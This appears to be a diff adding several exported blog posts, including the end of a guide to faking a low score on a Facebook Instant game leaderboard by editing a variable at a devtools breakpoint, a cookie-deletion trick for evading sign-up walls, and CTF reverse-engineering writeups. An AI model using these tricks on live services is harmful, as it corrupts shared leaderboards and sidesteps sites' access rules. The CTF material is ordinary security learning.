+            Facebook stores these scores as integers). This is sent to Facebook using the <code
+              class="markup--code markup--p-code">FBInstant</code> library’s <code
+              class="markup--code markup--p-code">setScore</code> function. After looking at a couple of these games,
+            you’ll notice that <code class="markup--code markup--p-code">FBInstant</code> is pretty much universal
+            among these games, since it’s required to interact with the Facebook API.</p>
+          <h3 name="25ef" id="25ef" class="graf graf--h3 graf-after--p">Step 3: The Exploit</h3>
+          <p name="ed05" id="ed05" class="graf graf--p graf-after--h3">The strategy to exploit this is to add a
+            breakpoint at that line, so code execution is paused before that line is executed. Then we are free to
+            change the variable to whatever we’d like to change it to, and then resume execution so that our changed
+            value is sent to the server.</p>
+          <p name="4095" id="4095" class="graf graf--p graf-after--p">I’d like to point out that setting the variable
+            to non-numerical types will simply cause the upload to fail. I’m guessing they’re doing some type-checking
+            on it server-side. That doesn’t prevent us from simply changing the value to 0 and sending it to the
+            server.</p>
+          <p name="bf3b" id="bf3b" class="graf graf--p graf-after--p">To add a breakpoint to that line, click the line
+            number where the line <code class="markup--code markup--p-code">FBInstant.setScore(e)</code> appears. The
+            blue arrow indicates that a breakpoint has been set, and code execution will stop before this line starts.
+          </p>
+          <figure name="8c89" id="8c89" class="graf graf--figure graf-after--p"><img class="graf-image"
+              data-image-id="0*pFhcPeUtuQ3H74Qd.png" data-width="427" data-height="151"
+              src="https://cdn-images-1.medium.com/max/800/0*pFhcPeUtuQ3H74Qd.png">
+            <figcaption class="imageCaption">Adding a breakpoint in the code.</figcaption>
+          </figure>
+          <p name="4780" id="4780" class="graf graf--p graf-after--figure">Now, start the game and play through it
+            like normal. It doesn’t matter what score you get, as long as you finish and trigger the <code
+              class="markup--code markup--p-code">stepEnd_</code> function, the code will stop and wait for you before
+            submitting your score.</p>
+          <p name="d32b" id="d32b" class="graf graf--p graf-after--p">If you are still on the Sources tab, you’ll be
+            able to see the variables in the scope of the deepest function we are in when the code stops.</p>
+          <figure name="8f1b" id="8f1b" class="graf graf--figure graf-after--p"><img class="graf-image"
+              data-image-id="0*YZn_TJFtZ8NSNpne.png" data-width="679" data-height="521"
+              src="https://cdn-images-1.medium.com/max/800/0*YZn_TJFtZ8NSNpne.png">
+            <figcaption class="imageCaption">Local variables at the point where we added the breakpoint.</figcaption>
+          </figure>
+          <p name="23ff" id="23ff" class="graf graf--p graf-after--figure">Open the Console (either by navigating to
+            the Console tab, or just pressing Esc to open it within the Sources tab), and just type</p>
+          <pre name="135a" id="135a" class="graf graf--pre graf-after--p">e = 1</pre>
+          <p name="b024" id="b024" class="graf graf--p graf-after--pre">We just changed the value of the local
+            variable <code class="markup--code markup--p-code">e</code> to 1 (1 millisecond; for some reason it bugs
+            when I use <code class="markup--code markup--p-code">e = 0</code>). When the execution continues, it will
+            use our changed value, and submit that to the score server. Exit the game, and you should see that score
+            reflected on the leaderboard.</p>
+          <h3 name="d338" id="d338" class="graf graf--h3 graf-after--p">Recap</h3>
+          <p name="4285" id="4285" class="graf graf--p graf-after--h3">When you are developing browser-based games,
+            you can never trust user input. As long as the user has control, he can jack the browser logic and change
+            variables during runtime. Ideally, the game logic should be done server-side, and the client is simply a
+            terminal passing inputs to the server and visuals back to the client.</p>
+          <p name="2d42" id="2d42" class="graf graf--p graf-after--p">However, this is highly impractical. If you sent
+            a request for every input and waited for the server to respond, you’d get a huge delay, even for very fast
+            connections. This is one of the hardest problems to tackle in real-time RPGs: how can we verify that the
+            user is moving as they should, while still running the game as fast as we can?</p>
+          <p name="90a9" id="90a9" class="graf graf--p graf-after--p graf--trailing">That’s all I have today. Thanks
+            for reading!</p>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/eb9637dc5b1c"><time class="dt-published"
+          datetime="2016-12-01T22:26:36.000Z">December 1, 2016</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/lightning-speed-run-eb9637dc5b1c" class="p-canonical">Canonical link</a>
+    </p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2016-12-30_XinIRC-development.md

@@ -0,0 +1,32 @@
+---
+title: XinIRC development
+date: 2016-12-30T05:19:21.000Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="a4a4" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <p name="7483" id="7483" class="graf graf--p graf-after--h3">Today, I marked the <a
+              href="https://github.com/failedxyz/xinircd/releases/tag/v0.1a"
+              data-href="https://github.com/failedxyz/xinircd/releases/tag/v0.1a"
+              class="markup--anchor markup--p-anchor" rel="noopener" target="_blank">initial release</a> of XinIRCd,
+            an IRC server that I just started working on recently. As of now, it’s still heavily inspired by InspIRCd,
+            from its configuration wizard to its command handling, but I’ll start adding more features soon.</p>
+          <p name="0b8e" id="0b8e" class="graf graf--p graf-after--p graf--trailing">I’ve still got a couple weeks
+            left of break, so I’ll try to get as much done in that time as possible.</p>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/6e7dfe8bce05"><time class="dt-published" datetime="2016-12-30T05:19:21.000Z">December
+          30, 2016</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/xinirc-development-6e7dfe8bce05" class="p-canonical">Canonical link</a>
+    </p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2017-01-03_Wi-Fi-Problems-when-Installing-Linux-on-ASUS-machines.md

@@ -0,0 +1,51 @@
+---
+title: Wi-Fi Problems when Installing Linux on ASUS machines
+date: 2017-01-03T22:58:06.000Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="0ff7" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <p name="3a83" id="3a83" class="graf graf--p graf-after--h3">Recently, I’ve been exploring installing
+            various Linux distributions over my Windows installation. The main reason for doing this would be not
+            having to pull up a virtual machine every time I wanted to do anything.</p>
+          <p name="3a29" id="3a29" class="graf graf--p graf-after--p">But with both Arch Linux and Ubuntu, I kept
+            running into the same problem: I couldn’t connect to Wi-Fi. I poked around, and it said that my network
+            switch (the hardware one) was switched off. No matter what I tried to do with <code
+              class="markup--code markup--p-code">rfkill</code>, I couldn’t get the physical switch back on.</p>
+          <p name="43b7" id="43b7" class="graf graf--p graf-after--p">My ASUS computer doesn’t have a network switch.
+            There’s an ‘airplane mode’ button, but that didn’t really do anything either. I eventually found the
+            solution in <a href="https://ubuntuforums.org/showthread.php?t=2181558"
+              data-href="https://ubuntuforums.org/showthread.php?t=2181558" class="markup--anchor markup--p-anchor"
+              rel="noopener" target="_blank">this thread</a>, but I’ll repeat it here.</p>
+          <pre name="32a3" id="32a3"
+            class="graf graf--pre graf-after--p">echo &quot;options asus_nb_wmi wapf=4&quot; | sudo tee /etc/modprobe.d/asus_nb_wmi.conf</pre>
+          <p name="203e" id="203e" class="graf graf--p graf-after--pre">..or simply put that line in that file. <code
+              class="markup--code markup--p-code">asus_nb_wmi</code> is the driver for the Wi-Fi module. What does
+            <code class="markup--code markup--p-code">wapf=4</code> do? Well, according to <a
+              href="https://github.com/rufferson/ashs" data-href="https://github.com/rufferson/ashs"
+              class="markup--anchor markup--p-anchor" rel="noopener" target="_blank">this</a>,
+          </p>
+          <blockquote name="9624" id="9624" class="graf graf--blockquote graf-after--p">When WAPF = 4 — driver sends
+            ACPI scancode 0x88 which is converted by asus-wmi to RFKILL key, which is processed by all registerd
+            rfkill drivers to toggle their state.</blockquote>
+          <p name="6456" id="6456" class="graf graf--p graf-after--blockquote">Essentially, it is making <code
+              class="markup--code markup--p-code">rfkill</code> recognize that the hardware switch is not off, so the
+            Wi-Fi works again.</p>
+          <p name="ca42" id="ca42" class="graf graf--p graf-after--p graf--trailing">Thanks for reading!</p>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/75be2b8b7cc3"><time class="dt-published" datetime="2017-01-03T22:58:06.000Z">January
+          3, 2017</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/wi-fi-problems-when-installing-linux-on-asus-machines-75be2b8b7cc3"
+        class="p-canonical">Canonical link</a></p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2017-01-07_Watch-out--returning-users.md

@@ -0,0 +1,63 @@
+---
+title: Watch out, returning users!
+date: 2017-01-07T02:58:17.000Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="0a81" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <p name="2c44" id="2c44" class="graf graf--p graf-after--h3">A lot of websites put <strong
+              class="markup--strong markup--p-strong">cookies</strong> on your computer in order to save information
+            about your previous visits to the site. The most common use case would be storing a key that would allow
+            your computer to auto-login to the site the next time you visited it (rather than forcing you to
+            re-login).</p>
+          <p name="a1d8" id="a1d8" class="graf graf--p graf-after--p">Many sites also put cookies on your computer to
+            figure out if you’ve visited the site before, and may change behavior based on whether you’re a new user,
+            or you’re a returning user.</p>
+          <p name="a6fd" id="a6fd" class="graf graf--p graf-after--p">For example, take a look at <a
+              href="https://www.livingsocial.com/deals/1630304-pokemon-go-course"
+              data-href="https://www.livingsocial.com/deals/1630304-pokemon-go-course"
+              class="markup--anchor markup--p-anchor" rel="noopener" target="_blank">this website</a>. Let’s ignore
+            the product that it’s advertising for now and just focus on the “Limited Time Savings” offer on the right
+            side. Isn’t it strange how the timer started at 5:00 exactly? In other words, either you were incredibly
+            lucky to have visited the site <em class="markup--em markup--p-em">exactly</em> 5 minutes before the offer
+            ended, or there’s some other trick they’re pulling.</p>
+          <p name="1b3d" id="1b3d" class="graf graf--p graf-after--p">It turns out that one of the cookies (I haven’t
+            looked into it enough, but if you poke around, you should be able to find it) they store <strong
+              class="markup--strong markup--p-strong">on your machine</strong> determines when this limited time offer
+            either started or expires. What it means is that the first time you visit the site, the cookie is created
+            and you have 5 minutes from that moment to do this purchase. Afterwards, the cookie still exists on your
+            computer, so it won’t offer you the deal anymore.</p>
+          <p name="49b9" id="49b9" class="graf graf--p graf-after--p">But this means that if you get rid of the
+            cookie, you can get the 5 minute deal back. If you get an extension such as <a
+              href="https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg"
+              data-href="https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg"
+              class="markup--anchor markup--p-anchor" rel="noopener" target="_blank">EditThisCookie</a> that’s able to
+            view and manipulate cookies, then you can have a lot better control of what websites are storing on your
+            computer.</p>
+          <p name="4afc" id="4afc" class="graf graf--p graf-after--p">Some other websites this trick works on include
+            <a href="https://www.linkedin.com/" data-href="https://www.linkedin.com/"
+              class="markup--anchor markup--p-anchor" rel="noopener" target="_blank">LinkedIn</a> and <a
+              href="https://www.quora.com/" data-href="https://www.quora.com/" class="markup--anchor markup--p-anchor"
+              rel="noopener" target="_blank">Quora</a>, which ask you to create an account to view content after the
+            first time you visit their site. If you don’t want to create an account, then simply delete any cookies
+            they’ve stored on your computer and you will be able to access the site as if it was your first time.
+          </p>
+          <p name="3490" id="3490" class="graf graf--p graf-after--p graf--trailing">That’s all. Thanks for reading!
+          </p>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/eccca70f4684"><time class="dt-published" datetime="2017-01-07T02:58:17.000Z">January
+          7, 2017</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/watch-out-returning-users-eccca70f4684" class="p-canonical">Canonical
+        link</a></p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2017-01-14_Why-I-think-HTML-is-a-programming-language.md

@@ -0,0 +1,80 @@
+---
+title: Why I think HTML is a programming language.
+date: 2017-01-14T09:07:31.000Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="21e8" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <p name="94a6" id="94a6" class="graf graf--p graf-after--h3">Yep, I’m one of those people. Go ahead and
+            judge me, but at least hear me out first.</p>
+          <p name="7407" id="7407" class="graf graf--p graf-after--p">Obviously, the first thing we have to do in
+            order to answer the “Is HTML a programming language?” question is to define what a programming language
+            is. Let’s literally take the term apart:</p>
+          <ul class="postList">
+            <li name="ede6" id="ede6" class="graf graf--li graf-after--p"><strong
+                class="markup--strong markup--li-strong">programming</strong>: It’s when you tell a computer what to
+              do. For example, I can program a bot to respond to messages while I’m away. Or I can program my phone to
+              wake up at 7:30 in the morning. It’s all the same.</li>
+            <li name="2b5d" id="2b5d" class="graf graf--li graf-after--li"><strong
+                class="markup--strong markup--li-strong">language</strong>: A standard method of communication that is
+              accepted by both the speaker and the receiver. Except in this context, it’s not with humans but a
+              machine, so you’re not really speaking.</li>
+          </ul>
+          <p name="832d" id="832d" class="graf graf--p graf-after--li">Following those definitions, a programming
+            language must be a method of communicating to the computers what you want it to do. These are rather loose
+            definitions that I came up with, but if you don’t agree with that, you can stop reading now.</p>
+          <p name="ecc9" id="ecc9" class="graf graf--p graf-after--p">The primary purpose of HTML is to serve as a
+            method to display webpage data that is received from the server into a visual representation into your
+            browser. That’s just a fancy way of saying “you tell the browser where to put stuff”. Let’s check if that
+            satisfies the above points:</p>
+          <ul class="postList">
+            <li name="d874" id="d874" class="graf graf--li graf-after--p">You’re telling the computer how to display
+              elements!</li>
+            <li name="2ae6" id="2ae6" class="graf graf--li graf-after--li">You’re using a system of communication that
+              both you and the computer understand.</li>
+          </ul>
+          <p name="fafb" id="fafb" class="graf graf--p graf-after--li">If you don’t agree that the above two
+            demonstrate that HTML satisfies the requirements for a programming language that I laid out above, then
+            I’d love to hear your thoughts.</p>
+          <p name="fbd3" id="fbd3" class="graf graf--p graf-after--p">So why are people so insistent that HTML is not
+            a programming language? Well, here’s some of the reasons I’ve seen so far.</p>
+          <ul class="postList">
+            <li name="7225" id="7225" class="graf graf--li graf--startsWithDoubleQuote graf-after--p">“You can’t
+              perform arithmetic operations with HTML.” You can’t perform arithmetic operations with HTML because
+              that’s not what it was made for. that’s like trying to use a hammer to screw in a screw. Doesn’t make it
+              any less of a tool.</li>
+            <li name="4e0d" id="4e0d" class="graf graf--li graf--startsWithDoubleQuote graf-after--li">“It can’t
+              process data.” Refer to the first point about arithmetic operations.</li>
+            <li name="3e94" id="3e94" class="graf graf--li graf--startsWithDoubleQuote graf-after--li">“It doesn’t
+              produce executable code.” Why not? Let’s say I put this line into an HTML file: <code
+                class="markup--code markup--li-code">&lt;br /&gt;</code>. Is it not telling the browser to create a
+              line break? Isn’t that making it execute an instruction? Sure, you can say that the HTML isn’t actually
+              creating the element, it’s the browser engine. But by that logic, no programming language actually
+              exists other than the binary data that the machine is executing, since that’s what’s really executing
+              all our code. If you don’t put the elements in, the browser won’t do anything, so HTML is giving the
+              browser instructions on what to do.</li>
+            <li name="537f" id="537f" class="graf graf--li graf--startsWithDoubleQuote graf-after--li">“It’s not
+              Turing-complete.” Where did the requirement that programming languages had to be Turing-complete come
+              in? Just because your hammer isn’t a Swiss army knife that can do everything, doesn’t make it any less
+              of a tool.</li>
+          </ul>
+          <p name="28c1" id="28c1" class="graf graf--p graf-after--li graf--trailing">At the end of the day, this is
+            all just still my opinion. If you don’t agree, please voice your opinions and convince me otherwise
+            (preferably using well-informed arguments)!</p>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/ccf34bd2758c"><time class="dt-published" datetime="2017-01-14T09:07:31.000Z">January
+          14, 2017</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/why-i-think-html-is-a-programming-language-ccf34bd2758c"
+        class="p-canonical">Canonical link</a></p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2017-02-16_So--you-can-detect-whether-I-use-an-ad-blocker-or-not--eh.md

@@ -0,0 +1,33 @@
+---
+title: So, you can detect whether I use an ad-blocker or not, eh?
+date: 2017-02-16T03:07:43.893Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="fb3e" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <p name="3093" id="3093" class="graf graf--p graf-after--h3">Guess it’s one less site I’m going to be
+            wasting my time on now.</p>
+          <p name="55ab" id="55ab" class="graf graf--p graf-after--p">I know it’s an important part of making revenue
+            or whatever, but from the user’s standpoint, ads should be <em
+              class="markup--em markup--p-em">non-intrusive</em>. That means I should be able to do whatever I want on
+            the site without needing to bother looking at your advertisements.</p>
+          <p name="14a3" id="14a3" class="graf graf--p graf-after--p graf--trailing">Don’t push advertisements into my
+            face. Promote good content that people want to see, and they’ll automatically come back for more. Because
+            to be honest, I don’t really care about your site enough to turn off my ad-blocker for it.</p>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/3856335f209c"><time class="dt-published" datetime="2017-02-16T03:07:43.893Z">February
+          16, 2017</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/so-you-can-detect-whether-i-use-an-ad-blocker-or-not-eh-3856335f209c"
+        class="p-canonical">Canonical link</a></p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2017-03-24_EasyCTF-2017-Wrap-up.md

@@ -0,0 +1,100 @@
+---
+title: EasyCTF 2017 Wrap-up
+date: 2017-03-24T11:36:40.681Z
+tags: [medium-blog]
+---
+
+EasyCTF just concluded this Monday!
+Looking back on the competition, I'd say that this year was our best year ever.
+Let's take a look at some of the stats.
+
+- **5,837** users registered this year, playing on **2,742** teams.
+  Of those teams, **1,938** teams scored points.
+- We had **63** challenges, which was close to our 68 last year.
+- **10.7%** of all teams had 5 members — full teams! In fact, there were more 5-member teams than there were 4-, 3-, and 2-member teams.
+
+I'm really happy to see that so many people were willing to give us a week of their time to participate in our event and work through our challenges, despite the fact that we hadn’t promised any prizes ahead of time.
+
+I'd also like to give a shout-out to the entire dev team who helped monitor basically every point of contact that people had with us and creating amazing challenges.
+
+## Improvements for next year
+
+I still haven’t decided whether I’ll be completely involved in organizing this event again next year.
+I hope that I’ll have some free time alongside my classes, but I’d also like some more cooperation from the rest of the organizers.
+The biggest problem we had this year was basically not working on anything until the week before the competition.
+By that time, it was already too late. Let’s take a closer look at what actually went wrong:
+
+- **Lack of motivation.**
+  I’m not sure people were actually busy during the entire year that we had planned to work, but there was definitely a lack of work put into organizing the competition.
+  We had some big ideas at the beginning of the year, but as time passed, the chances of those ideas becoming reality looked rather slim as no one wanted to be the first one to start working.
+  Somewhere in there I threw in a couple of deadlines, and we got a couple of problems written.
+  Had I not done that, I fear we would have had much fewer problems than we actually did.
+- **No contact with sponsor companies.**
+  Contacting sponsors should have been one of the first things we did, since it takes a long time to sort out details and companies usually take at least two weeks to reply to emails anyway.
+  Towards the end, we did get an email from DigitalOcean saying they were willing to fund servers for our competition, but launch day came and we didn’t hear back from them again.
+- **No coordination.**
+  Some of the feedback I’ve been hearing about this year’s competition is a shortage of actually “easy” problems.
+  We never really went through the competition and tried to lay out a “spectrum” of problems nor tackle it from the participants’ perspective.
+  Every problem was either just a “cool idea” someone had or “I feel like a CTF needs this.”
+  The intermediate web section was completely missing.
+- **Unbalanced team.**
+  Our team comprised mainly of problem writers.
+  That’s great and all, but when it comes to things like contacting sponsor companies, writing the website, planning some kind of game, we basically have no resources to do those.
+  I spent my entire time developing OpenCTF, the platform that powered the competition, and I know for sure that was a task too large for me to handle.
+  Getting more web designers or people with other skills would have helped out a lot.
+
+I’ve also got a couple of points of reflection for prospective CTF organizers, so if you’re planning to run a CTF, this is for you.
+
+- **Participant experience takes first priority.**
+  A lot of organizers think the hardest part of running a CTF is getting good challenges.
+  And they’d be right.
+  But that’s not to say that preparing a solid game infrastructure for flag submission is going to be something you can do last-minute.
+  When it comes to the participants’ experience, the first thing that they encounter is the website.
+  Then a few initial challenges.
+  Then probably the chat.
+  Make sure you have those down well and people will probably have a better initial impression of your CTF.
+- **Some people are there to make you miserable.**
+  As the one in control, you need to account for those people.
+  We’re lucky that we only had relatively few encounters with such people but do keep in mind that you are still running an event and that takes first priority.
+  During EasyCTF, there were a couple of people who thought it was funny to drop flags for hard challenges into the chat room.
+  When we tried to get them to stop, they would come back under different aliases in order to annoy us.
+  At that point we just shut down the entire chat room; the competition had to go on.
+- **Ignore unconstructive negative feedback.**
+  Don’t take it to heart, solve the problems, and move on.
+  Who cares if some random kid in IRC says your CTF is garbage?
+  Ask them what issues they’re having, fix them, and they’ll be happy.
+  It’s really not that complicated.
+- **Docker.**
+  Is probably a good idea.
+  The learning curve is not bad and it’s a great way to create disposable containers that can restart easily.
+  Not only should you use Docker for your main competition website, you should also use it for all of the challenges that involve communicating with a server.
+
+Here’s something else I definitely have to share.
+We had this autogen system that created different flags for different teams in order to discourage flag sharing.
+Some people came up to us reporting that their flag wasn’t working, when they clearly just took some other team’s flag.
+I didn’t really do anything about it, but just thought it was pretty funny that they had the nerve to report it to us even though they were cheating.
+
+So, what’s the future for EasyCTF?
+
+- I’m seeing OpenCTF as a more permanent solution to our main platform.
+  It’s a very complex piece of software and it would be insane to try to rewrite it from scratch.
+  I’m in the process of creating an open-source version of it and making it customizable (for example, turning off features that you don’t need like the programming judge) for CTF organizers.
+- We had this project going on a while back for a CTF calendar that also hosted tasks.
+  I was also hoping that it would be able to replay entire competitions but that seems a bit too hopeful at this point.
+  It would be nice to just get the calendar revived.
+- WeebCTF is happening again this summer, dates still yet to be decided.
+  If you’re into anime (or even if you’re not), come check it out!
+- Applications for joining the organizing team for the next EasyCTF will open soon.
+  If there was something you didn’t like about EasyCTF, and you think you could have done better, by all means, join the team!
+  We’d like to hear your ideas.
+
+Thanks for reading, and I hope I’ll be seeing you at the next CTF!
+
+<footer>
+  <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+      href="https://medium.com/p/4bbd1ca68877"><time class="dt-published" datetime="2017-03-24T11:36:40.681Z">March
+        24, 2017</time></a>.</p>
+  <p><a href="https://medium.com/@failedxyz/easyctf-2017-wrap-up-4bbd1ca68877" class="p-canonical">Canonical
+      link</a></p>
+  <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+</footer>

src/content/posts/2017-03-26_VolgaCTF-2017-Writeups.md

@@ -0,0 +1,94 @@
+---
+title: VolgaCTF 2017 Writeups
+date: 2017-03-26T21:52:31.553Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="0b53" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <p name="e3cc" id="e3cc" class="graf graf--p graf-after--h3">I participated in VolgaCTF under the team Shell
+            Smash. We finished in 138th place with 600 points. Here are the write-ups for the problems that I did.</p>
+          <h3 name="bb61" id="bb61" class="graf graf--h3 graf-after--p">VC (50 points)</h3>
+          <p name="f5dc" id="f5dc" class="graf graf--p graf-after--h3">This was a pretty standard image analysis
+            problem. We are given two images that are relatively similar, except for a couple of bytes. If we just xor
+            the two images together, the flag appears in plain sight.</p>
+          <figure name="dee3" id="dee3" class="graf graf--figure graf--iframe graf-after--p">
+            <script src="https://gist.github.com/failedxyz/a7958fd7b5fff2c7b04de034cb9bc199.js"></script>
+          </figure>
+          <h3 name="1171" id="1171" class="graf graf--h3 graf-after--figure">PyCrypto (100 points)</h3>
+          <p name="3968" id="3968" class="graf graf--p graf-after--h3">We are given a Python file with an encrypt
+            function. It’s using an encryption function from the <code
+              class="markup--code markup--p-code">pycryptography.so</code> library that was also given. By analyzing
+            the so, it looks like the encryption algorithm is simply an xor with the key, and if the key is shorter
+            than the message, then just repeat the key. This algorithm is known as a vigenère cipher, or repeating-key
+            xor cipher. Fortunately, I had some old code to crack this type of cipher exactly from cryptopals.</p>
+          <figure name="a89f" id="a89f" class="graf graf--figure graf--iframe graf-after--p">
+            <script src="https://gist.github.com/failedxyz/425c663e1cb56caa328a1e263ec1565e.js"></script>
+          </figure>
+          <h3 name="df11" id="df11" class="graf graf--h3 graf-after--figure">Angry Guessing Game (200 points)</h3>
+          <p name="9dc1" id="9dc1" class="graf graf--p graf-after--h3">The first step was to open this binary in IDA.
+            It’s easy to get lost, because there are so many functions, so the first thing I did was hit Shift+F12 and
+            look at the strings. The one I was looking for, in particular, was “You’ve entered the correct license
+            key!” If I found where this was called during execution, I could trace it back to the actual place where
+            it performs the check.</p>
+          <figure name="ca83" id="ca83" class="graf graf--figure graf-after--p"><img class="graf-image"
+              data-image-id="1*tOWToDf10V2YnUScoVAlhg.png" data-width="972" data-height="144"
+              src="https://cdn-images-1.medium.com/max/800/1*tOWToDf10V2YnUScoVAlhg.png">
+            <figcaption class="imageCaption">Using the strings to follow execution.</figcaption>
+          </figure>
+          <p name="4cd9" id="4cd9" class="graf graf--p graf-after--figure">Here you can see I’ve found that sub_5F70
+            contains the code that checks whether you’ve already played 3 times, and tells the program to start asking
+            for a license key. Should it ask for a license key, it will redirect the execution to sub_6660, where it
+            actually prompts the user.</p>
+          <p name="990a" id="990a" class="graf graf--p graf-after--p">I’m going to start from the bottom of sub_6660,
+            trying to follow what it’s returning, because ultimately the result of this function is either going to be
+            true/false — whether it accepts your license key. Poking around, I found this call to an interesting
+            function: sub_67D0. Seems like it’s literally just checking your license key character by character.</p>
+          <figure name="e892" id="e892" class="graf graf--figure graf-after--p"><img class="graf-image"
+              data-image-id="1*m6YBCqASg66wa1I6IXlRtQ.png" data-width="484" data-height="776"
+              src="https://cdn-images-1.medium.com/max/800/1*m6YBCqASg66wa1I6IXlRtQ.png">
+            <figcaption class="imageCaption">The license key checker.</figcaption>
+          </figure>
+          <p name="ced2" id="ced2" class="graf graf--p graf-after--figure">I wonder what happens if you just convert
+            all of those values to ASCII?</p>
+          <figure name="fd19" id="fd19" class="graf graf--figure graf-after--p"><img class="graf-image"
+              data-image-id="1*KkjogeoBtk7d3Z-cslOu6w.png" data-width="667" data-height="785"
+              src="https://cdn-images-1.medium.com/max/800/1*KkjogeoBtk7d3Z-cslOu6w.png">
+            <figcaption class="imageCaption">The letters of the flag.</figcaption>
+          </figure>
+          <p name="780e" id="780e" class="graf graf--p graf-after--figure">Looks like our license key is the flag!</p>
+          <h3 name="25ef" id="25ef" class="graf graf--h3 graf-after--p">KeyPass (100 points)</h3>
+          <p name="ee4c" id="ee4c" class="graf graf--p graf-after--h3">I didn’t actually finish this one during the
+            competition time, because I was being really stupid and not reading their hint. In this challenge, they
+            handed out an encrypted flag and a program that “generates secure encryption keys.”</p>
+          <p name="53fd" id="53fd" class="graf graf--p graf-after--p">Picking apart the binary, it looks like what the
+            program is doing is just generating a seed out of the passphrase that you give to it, by xor’ing every
+            character of your passphrase together. This was then used in an LCG to get “random” bytes out of a
+            dictionary of 82 bytes.</p>
+          <p name="4045" id="4045" class="graf graf--p graf-after--p">The problem with this method is, there a total
+            of about 128 values for this “seed,” because ASCII values range from 0 to 128, and since higher bits are
+            not involved, xor will never go out of that range either. So to solve the problem, you simply generate all
+            of the keys for seeds from 0 to 128. I’ve reimplemented the key generation in Python here:</p>
+          <figure name="0cc9" id="0cc9" class="graf graf--figure graf--iframe graf-after--p">
+            <script src="https://gist.github.com/failedxyz/1cbc3a63152d095dca58f7b6d89a8b77.js"></script>
+          </figure>
+          <p name="acb2" id="acb2" class="graf graf--p graf-after--figure graf--trailing">So why couldn’t I finish it?
+            Because when I was actually checking the key with <code
+              class="markup--code markup--p-code">openssl aes-128-cbc -d -in flag.zip.enc -out flag.zip -pass env:PASSWORD</code>,
+            I wasn’t using the version of OpenSSL that they specified, version 1.1.0e. Lesson learned, I guess.</p>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/632fa7821dca"><time class="dt-published" datetime="2017-03-26T21:52:31.553Z">March
+          26, 2017</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/volgactf-2017-writeups-632fa7821dca" class="p-canonical">Canonical
+        link</a></p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2017-05-01_UIUCTF-2017-Writeups.md

@@ -0,0 +1,117 @@
+---
+title: UIUCTF 2017 Writeups
+date: 2017-05-01T00:09:47.978Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="edd2" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <p name="dca1" id="dca1" class="graf graf--p graf-after--h3">I competed in UIUCTF this year with Aaron Cao.
+            We ended up placing 23rd with 1300 points. Here are some of the solutions to the challenges I solved.</p>
